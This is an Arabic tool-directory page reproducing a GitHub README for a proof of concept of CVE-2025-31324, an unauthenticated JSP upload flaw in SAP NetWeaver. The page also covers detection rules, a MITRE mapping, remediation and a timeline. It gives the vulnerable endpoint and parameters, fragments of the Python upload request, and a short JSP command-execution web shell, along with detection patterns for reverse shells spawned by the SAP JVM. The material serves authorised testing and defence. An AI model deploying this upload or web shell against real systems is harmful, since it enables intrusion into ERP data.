Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/hkenzokimura/cve-2025-31324
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمرالاستجابة للحوادث
GitHubhkenzokimura/cve-2025-31324

CVE-2025-31324

إثبات مفهوم لاستغلال CVE-2025-31324، وهو رفع ملفات غير مصادق عليه في SAP NetWeaver Visual Composer، مع إرشادات الكشف، وربط MITRE، وخطوات المعالجة.

عرض المستودع
منذ 5س 23دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

🔴 CVE-2025-31324 — SAP NetWeaver Visual Composer رفع ملف غير مصادق عليه

النوع: إثبات المفهوم — بحث في الثغرات CVE: CVE-2025-31324 CVSS: 10.0 حرج (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) الحالة: تم التصحيح — ملاحظة أمان SAP 3594142 + 3604119 أُضيف إلى CISA KEV: مايو 2025

⚠️ يستخدم إثبات المفهوم هذا ملف JSP غير ضار ("Hello World") للتحقق من سطح الهجوم دون تنفيذ تعليمات برمجية خبيثة. يُستخدم حصريًا في بيئات مصرح بها لأغراض اختبار الاختراق وتطوير أنظمة الكشف.

تم التطوير بواسطة: HKK


$ cat ./vulnerability_summary.txt

تقع ثغرة CVE-2025-31324 في مكوّن Visual Composer Metadata Uploader الخاص بـ SAP NetWeaver AS Java — وهي خلل في التحقق المفقود من التفويض يسمح لأي مهاجم غير مصادق عليه بإرسال طلبات POST إلى نقطة النهاية /developmentserver/metadatauploader، مما يؤدي إلى رفع غير مقيد لملفات عشوائية.

تؤثر CVE تحديدًا على SAP NetWeaver Visual Composer Framework الإصدار 7.50، بدرجة CVSS 10.0 — وهي أقصى درجة ممكنة.

استغل المهاجمون هذه الثغرة بنشاط من يناير إلى مايو 2025، حيث قاموا بنشر ويب شيلات دائمة في مئات الأنظمة حول العالم.


$ cat ./impact.txt

نظرًا لأنها تعمل بامتيازات مرتفعة وقريبة من بيانات ERP، فإن الحركة الجانبية إلى حزم SAP ABAP أو قواعد البيانات المتصلة تكون تافهة بعد الاستغلال.

سلسلة الاستغلال الكاملة في الهجمات الحقيقية:

root@kitploit:~
Upload JSP (CVE-2025-31324)
    → Webshell دائم على الخادم
        → RCE كعملية SAP (امتياز عالٍ)
            → الوصول إلى بيانات ERP (المالية، الموارد البشرية، سلسلة التوريد)
                → حركة جانبية إلى ABAP / DB
                    → نشر أطر C2 (مثل: Brute Ratel)

$ cat ./architecture.txt

كيف تعمل نقطة النهاية الضعيفة

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────┐
│              CVE-2025-31324 — تدفق الاستغلال                              │
│                                                                         │
│  المهاجم                    SAP NETWEAVER AS JAVA                      │
│                                                                         │
│  POST /developmentserver/metadatauploader                               │
│  Content-Type: multipart/form-data          ┌─────────────────────┐    │
│  الجسم: ملف JSP/WAR/أي شيء ──────────► │  Metadata Uploader  │    │
│  (بدون مصادقة)                           │                     │    │
│                                             │  ❌ بدون تحقق من    │    │
│                                             │     المصادقة        │    │
│                                             │  ❌ بدون تحقق من    │    │
│                                             │     الامتداد        │    │
│                                             │  ❌ بدون تنظيف      │    │
│                                             │     للمحتوى         │    │
│                                             └────────┬────────────┘    │
│                                                      │                 │
│                                             يُحفظ الملف في:            │
│                                             /irj/root/ أو ما شابه      │
│                                                      │                 │
│  GET /irj/hello_world.jsp ◄──────────────────────────┘                 │
│  → Hello World (إثبات مفهوم غير ضار)                                    │
│  → Webshell (استغلال حقيقي)                                            │
└─────────────────────────────────────────────────────────────────────────┘

لماذا توجد نقطة النهاية؟

يعد /developmentserver/metadatauploader جزءًا من SAP Visual Composer — وهي أداة تطوير low-code لمحللي الأعمال لإنشاء تطبيقات SAP دون كتابة كود Java. صُممت نقطة النهاية لاستقبال نماذج البيانات الوصفية أثناء التطوير. على الرغم من أن المكوّن غير مفعّل في التكوين الافتراضي لـ NetWeaver، أبلغت Onapsis أنه مفعّل على نطاق واسع في بيئات الإنتاج.


$ cat ./design_decisions.md

1. اختيار الحمولة — JSP "Hello World"

root@kitploit:~
file_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""

لماذا JSP وليس تنسيقًا آخر؟

يقوم SAP NetWeaver AS Java بتشغيل JVM — يتم تفسير ملفات .jsp مباشرة بواسطة حاوية servlet (Apache Tomcat المدمج) دون تجميع مسبق. وهذا يجعل JSP التنسيق المثالي للويب شيلات في بيئات Java.

اختيار المحتوى غير الضار ("Hello World") مقصود لإثبات المفهوم:

  • يتحقق من السطح الضعيف دون تنفيذ تعليمات برمجية خبيثة
  • يؤكد الرفع (كود HTTP 200 + ملف يمكن الوصول إليه عبر GET)
  • دليل جنائي نظيف لتقرير اختبار الاختراق

في الاستغلال الحقيقي، سيكون المحتوى ويب شيل JSP مع تنفيذ أوامر، مثال:

root@kitploit:~
<%
  String cmd = request.getParameter("cmd");
  Runtime.getRuntime().exec(cmd);
%>

2. multipart/form-data — لماذا هذا النوع من المحتوى؟

root@kitploit:~
files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}

تتوقع نقطة النهاية طلب multipart/form-data — وهو نفس التنسيق المستخدم في نماذج HTML لرفع الملفات. هذا مقصود في التصميم الأصلي لـ Visual Composer (رفع نماذج التطوير).

تقوم مكتبة requests تلقائيًا ببناء حدود multipart عند تمرير files= — يتم إنشاء الترويسة Content-Type: multipart/form-data; boundary=... داخليًا.

verify=False: يعطل التحقق من شهادة TLS — ضروري لأن بيئات SAP غالبًا ما تستخدم شهادات موقعة ذاتيًا. في الإنتاج، استخدم verify='/path/to/ca-bundle.crt'.

3. مسار نقطة النهاية — تشريح عنوان URL

root@kitploit:~
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
المكوّنالمعنى
:50201المنفذ الافتراضي لـ SAP ICM (Internet Communication Manager) HTTPS
/developmentserver/Servlet التطوير الخاص بـ Visual Composer
metadatauploaderنقطة النهاية المحددة لرفع البيانات الوصفية
CONTENTTYPE=MODELنوع المحتوى المتوقع من نقطة النهاية
CLIENT=1عميل SAP — 000، 100، 001 شائعة

$ cat ./mitre_mapping.yml

root@kitploit:~
tactic: Initial Access
  - T1190  # Exploit Public-Facing Application
            # استغلال نقطة النهاية /developmentserver/metadatauploader
            # بدون مصادقة عبر HTTP POST

tactic: Execution
  - T1505.003  # Server Software Component: Web Shell
               # رفع JSP webshell → تنفيذه بواسطة حاوية servlet (Tomcat)

tactic: Persistence
  - T1505.003  # Web Shell كآلية استمرارية
               # ملف JSP يبقى في نظام ملفات الخادم بين عمليات إعادة التشغيل

tactic: Defense Evasion
  - T1036      # Masquerading
               # تسمية الويب شيلات كملفات SAP شرعية (مثل: metadata.jsp)

tactic: Discovery
  - T1082      # System Information Discovery
               # بعد RCE: تعداد العمليات والمستخدمين ومسارات SAP

tactic: Lateral Movement
  - T1210      # Exploitation of Remote Services
               # الوصول إلى حزمة ABAP وقواعد البيانات المتصلة عبر RCE

tactic: Collection
  - T1005      # Data from Local System
               # وصول مباشر إلى بيانات ERP (المالية، الموارد البشرية، سلسلة التوريد)

$ cat ./affected_versions.txt

root@kitploit:~
المنتج:  SAP NetWeaver Application Server Java
المكوّن: Visual Composer Framework
الإصدار:   7.50 (جميع الإصدارات قبل تصحيح أبريل/مايو 2025)

التصحيحات:
  SSN 3594142 → التصحيح الأولي (أبريل 2025) — يخفف من رفع الملفات
  SSN 3604119 → إصلاح السبب الجذري عبر CVE-2025-42999 (مايو 2025) — يعالج السبب الجذري
  SSN 3578900, 3620498, 3621771, 3634501 → ملاحظات تقوية تكميلية

CISA KEV: تمت إضافة كل من CVE-2025-31324 و CVE-2025-42999 إلى الكتالوج

$ cat ./detection_opportunities.md

اكتشاف الاستغلال (أثناء الهجوم)

root@kitploit:~
# قاعدة: POST غير مصادق عليه لنقطة نهاية Metadata Uploader
# المصدر: سجل وصول SAP Web Dispatcher / ICM

الشرط:
  - method: POST
  - uri_path يحتوي على: /developmentserver/metadatauploader
  - auth_header: غائب
  - body_content_type: multipart/form-data

الخطورة: حرجة — تحقق فورًا
root@kitploit:~
# سجل SAP ICM — نمط مشبوه:
[2025-04-25 03:41:22] POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
Status: 200 | Size: 1337 | Auth: NONE | IP: x.x.x.x

اكتشاف الويب شيل (بعد الاختراق)

root@kitploit:~
# قاعدة: GET لملف .jsp تم إنشاؤه مؤخرًا خارج مسارات SAP الشرعية
الشرط:
  - method: GET
  - uri_path يطابق: /irj/.*\.jsp
  - file_creation_time: < 24h
  - file_NOT_IN: [قائمة JSPs الشرعية المعروفة]
root@kitploit:~
# عملية فرعية مشبوهة من SAP JVM
# المصدر: Sysmon / EDR process creation
الشرط:
  - parent_process: java.exe أو jstart.exe
  - child_process: cmd.exe أو powershell.exe أو sh أو bash
  - command_line يحتوي على: -c أو .socket أو .call( أو .spawn(

وثّقت Red Canary نمط الكشف التالي لاستغلال CVE-2025-31324 في بيئات Linux: عملية python مع وسيطة -c مدمجة مع .socket و .call( أو .spawn( — مما يشير إلى reverse shell بعد الويب شيل.

البحث في سجلات SAP

root@kitploit:~
# البحث عن طلبات POST لنقطة النهاية الضعيفة خلال آخر 90 يومًا
# دليل السجلات: /usr/sap/<SID>/J<inst>/work/

grep -r "metadatauploader" /usr/sap/*/work/dev_icm* | grep "POST"
grep -r "metadatauploader" /usr/sap/*/work/http_access* | grep -v "GET"

# سرد JSPs التي تم إنشاؤها مؤخرًا في دليل الويب
find /usr/sap/ -name "*.jsp" -newer /usr/sap/<SID>/SYS/global/security -type f

$ cat ./remediation.md

root@kitploit:~
الأولوية: حرجة — تصحيح فوري

1. التحقق مما إذا كان المكوّن نشطًا:
   NWA → Configuration → Infrastructure → Java System Properties
   البحث عن: com.sap.tc.vccomp.server.vis.jms.VisJmsService

2. إذا لم يكن ضروريًا → تعطيل Visual Composer:
   NWA → Start & Stop → Services → VisualComposer → Stop

3. تطبيق التصحيحات الإلزامية (بالترتيب):
   SSN 3594142  ← حرج (رفع الملفات)
   SSN 3604119  ← السبب الجذري (CVE-2025-42999)
   SSN 3578900, 3620498, 3660659 (تقوية إضافية)

4. تكوين JVM Serial Filter (بعد التصحيح):
   NWA → JVM Parameters → إضافة مرشح للفئات الخبيثة

5. تقييد وصول الشبكة إلى نقطة النهاية في Web Dispatcher / جدار الحماية:
   حظر: /developmentserver/* لعناوين IP الخارجية
   السماح: فقط مضيفي التطوير المصرح لهم

6. التحقق من مؤشرات الاختراق — البحث عن ويب شيلات تم نشرها قبل التصحيح:
   تحليل سجلات ICM منذ يناير 2025
   البحث عن ملفات .jsp بمحتوى مشبوه في /irj/

$ cat ./usage.sh

root@kitploit:~
# تثبيت التبعية
pip install requests

# تعديل عنوان URL في السكربت قبل التنفيذ:
# url = "https://<host-المختبر-الخاص-بك>:<المنفذ>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1"

# التنفيذ
python cve_2025_31324_poc.py

# التحقق من نجاح الرفع (يجب أن يكون الملف قابلًا للوصول)
curl -k https://<host>:<port>/irj/hello_world.jsp
# الاستجابة المتوقعة إذا كان ضعيفًا: HTML يحتوي على "Hello World"
# الاستجابة المتوقعة إذا تم التصحيح: 404 أو 403

$ cat ./timeline.txt

root@kitploit:~
يناير 2025      بداية الاستغلال النشط في البرية (اكتُشف بأثر رجعي)
24 أبريل 2025   SAP تنشر CVE-2025-31324 (CVSS 10.0) + SSN 3594142
28 أبريل 2025   CISA تضيفها إلى كتالوج الثغرات المستغلة المعروفة
29 أبريل 2025   Rapid7 و Qualys و Red Canary ينشرون تحليلات فنية
07 مايو 2025    Onapsis + Mandiant (Google Cloud) ينشرون إحاطة مشتركة
13 مايو 2025    SAP تنشر SSN 3604119 (السبب الجذري عبر CVE-2025-42999، CVSS 9.1)
15 مايو 2025    CISA تضيف CVE-2025-42999 إلى كتالوج KEV
20 مايو 2025    الموعد النهائي لـ CISA لتصحيح الأنظمة الفيدرالية الأمريكية
25 يونيو 2025   Unit 42 تنهي المراقبة النشطة للحملة

$ cat ./references.md

root@kitploit:~
CVE:        https://www.cve.org/CVERecord?id=CVE-2025-31324
SAP Note:   https://me.sap.com/notes/3594142
NVD:        https://nvd.nist.gov/vuln/detail/CVE-2025-31324
CISA KEV:   https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Onapsis:    https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/
Rapid7:     https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324/
Unit 42:    https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/
Red Canary: https://redcanary.com/blog/threat-intelligence/cve-2025-31324/

$ cat ./lessons_learned.txt

root@kitploit:~
[+] غياب المصادقة في نقاط نهاية "التطوير" هو ناقل كلاسيكي يتم التقليل من شأنه
[+] CVSS 10.0 تعني: بدون مصادقة + شبكة + RCE كامل — أخطر ثلاثية ممكنة
[+] Visual Composer ليس افتراضيًا لكنه كان نشطًا على نطاق واسع في الإنتاج — خطر الميزات الخفية
[+] JSP كويب شيل خفي بشكل خاص: بدون تجميع، يُنفَّذ مباشرة بواسطة الحاوية
[+] استغل المهاجمون الثغرة لأكثر من 3 أشهر قبل الإفصاح العام — كشف SOC أمر بالغ الأهمية
[-] verify=False في إثبات المفهوم — في اختبار الاختراق الحقيقي، وثّق الشهادة الموقعة ذاتيًا واستخدم verify=المسار
[-] CLIENT=1 مثبت — الإنتاج قد يستخدم 000، 100، 200؛ قم بالتعداد أولاً
[-] إثبات المفهوم لا يتحقق مما إذا كان الملف قابلًا للوصول بعد الرفع — أضف GET للتأكيد
[→] التحسينات: argparse للمضيف/المنفذ/العميل، تحقق تلقائي بعد الرفع، إخراج JSON

بحث CVE · CVSS 10.0 · تم التصحيح أبريل/مايو 2025 · CISA KEV · اختبار مصرح به فقط

تنزيل الأداة